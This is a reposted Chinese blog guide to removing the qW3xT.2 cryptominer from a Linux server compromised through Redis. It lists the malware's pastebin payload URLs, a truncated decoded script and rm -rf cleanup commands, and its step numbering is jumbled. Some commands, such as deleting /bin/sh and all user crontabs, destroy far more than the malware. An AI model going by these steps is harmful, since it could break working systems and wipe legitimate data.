挖矿病毒 qW3xT.2 最终解决方案

转自：https://blog.csdn.net/hgx13467479678/article/details/82347473

 

1，cpu 100%, 用top 查看cpu100

 

 

2,删掉此进程 cpu还是 100%

 

3，估计是进程被隐藏了

 

4，定时任务多了一个执行任务

 

 

5：打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容

 

6：打开 https://pastebin.com/raw/uuYVPLXd  ，发现是一个Base64编码字符串，

 

7：用Base64解码此内容得到如下脚本内容

#!/bin/bash

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

8：根据此脚本最终解决方案

A:先把定时任务删除掉

rm -rf /etc/cron.d/root

rm -rf /var/spool/cron/crontabs

rm -rf /bin/sh /var/spool/cron/root

B:删掉重启系统后执行脚本

rm -rf /bin/httpdns

C：删掉挖矿执行脚本

 rm -rf /tmp/kworkerds

D: 删除修top显示命令的脚本 （导致top查询不处理此挖矿进程）

rm -rf /usr/local/lib/libntp.so

E:删除python执行文件

rm -rf /tmp/.tmpa

 

F: 再用Top命令，就可以找出此耗cpu进程

 

7：kill 掉此进程

 

9：修改redis 密码，最好修改bind 为127.0.0.1
